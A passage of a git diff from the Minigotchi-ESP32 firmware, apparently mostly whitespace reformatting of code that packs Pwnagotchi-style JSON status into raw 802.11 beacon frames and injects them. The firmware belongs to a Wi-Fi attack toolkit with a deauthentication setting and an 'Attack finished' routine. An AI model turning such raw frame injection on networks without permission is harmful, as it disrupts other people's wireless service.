Serial.println(mood.getBroken() + " Unable to calculate pkt/s!"); + Display::updateDisplay(mood.getBroken(), "Unable to calculate pkt/s!"); } + } - Serial.println(" "); - Serial.println(mood.getHappy() + " Attack finished!"); - Serial.println(" "); - Display::updateDisplay(mood.getHappy(), "Attack finished!"); - running = false; + Serial.println(" "); + Serial.println(mood.getHappy() + " Attack finished!"); + Serial.println(" "); + Display::updateDisplay(mood.getHappy(), "Attack finished!"); + running = false; } diff --git a/minigotchi-ESP32/frame.cpp b/minigotchi-ESP32/frame.cpp index 15874d7..dbe67d6 100644 --- a/minigotchi-ESP32/frame.cpp +++ b/minigotchi-ESP32/frame.cpp @@ -61,16 +61,10 @@ const uint16_t Frame::wpaFlags = 0x0411; Mood &Frame::mood = Mood::getInstance(); // Don't even dare restyle! -const uint8_t Frame::header[] { - 0x80, 0x00, - 0x00, 0x00, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, - 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, - 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x64, 0x00, - 0x11, 0x04, +const uint8_t Frame::header[]{ + 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xde, 0xad, + 0xbe, 0xef, 0xde, 0xad, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x11, 0x04, }; // get header length @@ -99,150 +93,150 @@ const int Frame::pwngridHeaderLength = sizeof(Frame::header); * https://github.com/evilsocket/pwngrid/blob/master/wifi/pack.go */ uint8_t *Frame::pack() { - // make a json doc - String jsonString = ""; - DynamicJsonDocument doc(2048); - - doc["minigotchi"] = true; - doc["epoch"] = Config::epoch; - doc["face"] = Config::face; - doc["identity"] = Config::identity; - doc["name"] = Config::name; - - doc["policy"]["advertise"] = Config::advertise; - doc["policy"]["ap_ttl"] = Config::ap_ttl; - doc["policy"]["associate"] = Config::associate; - doc["policy"]["bored_num_epochs"] = Config::bored_num_epochs; - - doc["policy"]["deauth"] = Config::deauth; - doc["policy"]["excited_num_epochs"] = Config::excited_num_epochs; - doc["policy"]["hop_recon_time"] = Config::hop_recon_time; - doc["policy"]["max_inactive_scale"] = Config::max_inactive_scale; - doc["policy"]["max_interactions"] = Config::max_interactions; - doc["policy"]["max_misses_for_recon"] = Config::max_misses_for_recon; - doc["policy"]["min_recon_time"] = Config::min_rssi; - doc["policy"]["min_rssi"] = Config::min_rssi; - doc["policy"]["recon_inactive_multiplier"] = - Config::recon_inactive_multiplier; - doc["policy"]["recon_time"] = Config::recon_time; - doc["policy"]["sad_num_epochs"] = Config::sad_num_epochs; - doc["policy"]["sta_ttl"] = Config::sta_ttl; - - doc["pwnd_run"] = Config::pwnd_run; - doc["pwnd_tot"] = Config::pwnd_tot; - doc["session_id"] = Config::session_id; - doc["uptime"] = Config::uptime; - doc["version"] = Config::version; - - // serialize then put into beacon frame - serializeJson(doc, jsonString); - Frame::essidLength = measureJson(doc); - Frame::headerLength = 2 + ((uint8_t)(essidLength / 255) * 2); - uint8_t *beaconFrame = new uint8_t[Frame::pwngridHeaderLength + - Frame::essidLength + Frame::headerLength]; - memcpy(beaconFrame, Frame::header, Frame::pwngridHeaderLength); - - /** developer note: - * - * if you literally want to check the json everytime you send a packet(non - * serialized ofc) - * - * Serial.println(jsonString); - */ - - int frameByte = pwngridHeaderLength; - for (int i = 0; i < essidLength; i++) { - if (i == 0 || i % 255 == 0) { - beaconFrame[frameByte++] = Frame::IDWhisperPayload; - uint8_t newPayloadLength = 255; - if (essidLength - i < Frame::chunkSize) { - newPayloadLength = essidLength - i; - } - beaconFrame[frameByte++] = newPayloadLength; - } - beaconFrame[frameByte++] = (uint8_t)jsonString[i]; + // make a json doc + String jsonString = ""; + DynamicJsonDocument doc(2048); + + doc["minigotchi"] = true; + doc["epoch"] = Config::epoch; + doc["face"] = Config::face; + doc["identity"] = Config::identity; + doc["name"] = Config::name; + + doc["policy"]["advertise"] = Config::advertise; + doc["policy"]["ap_ttl"] = Config::ap_ttl; + doc["policy"]["associate"] = Config::associate; + doc["policy"]["bored_num_epochs"] = Config::bored_num_epochs; + + doc["policy"]["deauth"] = Config::deauth; + doc["policy"]["excited_num_epochs"] = Config::excited_num_epochs; + doc["policy"]["hop_recon_time"] = Config::hop_recon_time; + doc["policy"]["max_inactive_scale"] = Config::max_inactive_scale; + doc["policy"]["max_interactions"] = Config::max_interactions; + doc["policy"]["max_misses_for_recon"] = Config::max_misses_for_recon; + doc["policy"]["min_recon_time"] = Config::min_rssi; + doc["policy"]["min_rssi"] = Config::min_rssi; + doc["policy"]["recon_inactive_multiplier"] = + Config::recon_inactive_multiplier; + doc["policy"]["recon_time"] = Config::recon_time; + doc["policy"]["sad_num_epochs"] = Config::sad_num_epochs; + doc["policy"]["sta_ttl"] = Config::sta_ttl; + + doc["pwnd_run"] = Config::pwnd_run; + doc["pwnd_tot"] = Config::pwnd_tot; + doc["session_id"] = Config::session_id; + doc["uptime"] = Config::uptime; + doc["version"] = Config::version; + + // serialize then put into beacon frame + serializeJson(doc, jsonString); + Frame::essidLength = measureJson(doc); + Frame::headerLength = 2 + ((uint8_t)(essidLength / 255) * 2); + uint8_t *beaconFrame = new uint8_t[Frame::pwngridHeaderLength + + Frame::essidLength + Frame::headerLength]; + memcpy(beaconFrame, Frame::header, Frame::pwngridHeaderLength); + + /** developer note: + * + * if you literally want to check the json everytime you send a packet(non + * serialized ofc) + * + * Serial.println(jsonString); + */ + + int frameByte = pwngridHeaderLength; + for (int i = 0; i < essidLength; i++) { + if (i == 0 || i % 255 == 0) { + beaconFrame[frameByte++] = Frame::IDWhisperPayload; + uint8_t newPayloadLength = 255; + if (essidLength - i < Frame::chunkSize) { + newPayloadLength = essidLength - i; + } + beaconFrame[frameByte++] = newPayloadLength; } + beaconFrame[frameByte++] = (uint8_t)jsonString[i]; + } - /* developer note: we can print the beacon frame like so... + /* developer note: we can print the beacon frame like so... - Serial.println("('-') Full Beacon Frame:"); - for (size_t i = 0; i < frameSize; ++i) { - Serial.print(beaconFrame[i], HEX); - Serial.print(" "); - } + Serial.println("('-') Full Beacon Frame:"); + for (size_t i = 0; i < frameSize; ++i) { + Serial.print(beaconFrame[i], HEX); + Serial.print(" "); + } - Serial.println(" "); + Serial.println(" "); - */ + */ - return beaconFrame; + return beaconFrame; } /** * Sends a pwnagotchi packet in AP mode */ bool Frame::send() { - // convert to a pointer because esp-idf is a pain in the ass - WiFi.mode(WIFI_AP); - uint8_t *frame = Frame::pack(); - size_t frameSize = Frame::pwngridHeaderLength + Frame::essidLength + - Frame::headerLength; // actually disgusting but it works - - // send full frame - // we don't use raw80211 since it sends a header (which we don't need), - // although we do use it for monitoring, etc. - delay(102); - // Channel::switchChannel(1 + rand() % (13 - 1 + 1)); - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, frameSize, false); - - delete[] frame; - return (err == ESP_OK); + // convert to a pointer because esp-idf is a pain in the ass + WiFi.mode(WIFI_AP); + uint8_t *frame = Frame::pack(); + size_t frameSize = Frame::pwngridHeaderLength + Frame::essidLength + + Frame::headerLength; // actually disgusting but it works + + // send full frame + // we don't use raw80211 since it sends a header (which we don't need), + // although we do use it for monitoring, etc. + delay(102); + // Channel::switchChannel(1 + rand() % (13 - 1 + 1)); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, frameSize, false); + + delete[] frame; + return (err == ESP_OK); } /** * Full usage of Pwnagotchi's advertisments on the Minigotchi. */ void Frame::advertise() { - int packets = 0; - unsigned long startTime = millis(); - - if (Config::advertise) { - Serial.println(mood.getIntense() + " Starting advertisment..."); - Serial.println(" "); - Display::updateDisplay(mood.getIntense(), "Starting advertisment..."); - Parasite::sendAdvertising(); - delay(Config::shortDelay); - for (int i = 0; i < 150; ++i) { - if (Frame::send()) { - packets++; - - // calculate packets per second - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print(mood.getIntense() + " Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s (Channel: "); - Serial.print(Channel::getChannel()); - Serial.println(")"); - Display::updateDisplay( - mood.getIntense(), - "Packets per second: " + (String)pps + " pkt/s" + - " (Channel: " + (String)Channel::getChannel() + ")"); - } - } else { - Serial.println(mood.getBroken() + " Advertisment failed to send!"); - Display::updateDisplay(mood.getBroken(), - "Advertisment failed to send!"); - } - } + int packets = 0; + unsigned long startTime = millis(); - Serial.println(" "); - Serial.println(mood.getHappy() + " Advertisment finished!"); - Serial.println(" "); - Display::updateDisplay(mood.getHappy(), "Advertisment finished!"); - } else { - // do nothing but still idle + if (Config::advertise) { + Serial.println(mood.getIntense() + " Starting advertisment..."); + Serial.println(" "); + Display::updateDisplay(mood.getIntense(), "Starting advertisment..."); + Parasite::sendAdvertising(); + delay(Config::shortDelay); + for (int i = 0; i < 150; ++i) { + if (Frame::send()) { + packets++; + + // calculate packets per second + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print(mood.getIntense() + " Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s (Channel: "); + Serial.print(Channel::getChannel()); + Serial.println(")"); + Display::updateDisplay( + mood.getIntense(), + "Packets per second: " + (String)pps + " pkt/s" + + " (Channel: " + (String)Channel::getChannel() + ")"); + } + } else { + Serial.println(mood.getBroken() + " Advertisment failed to send!"); + Display::updateDisplay(mood.getBroken(), + "Advertisment failed to send!"); + } } + + Serial.println(" "); + Serial.println(mood.getHappy() + " Advertisment finished!"); + Serial.println(" "); + Display::updateDisplay(mood.getHappy(), "Advertisment finished!"); + } else { + // do nothing but still idle + } }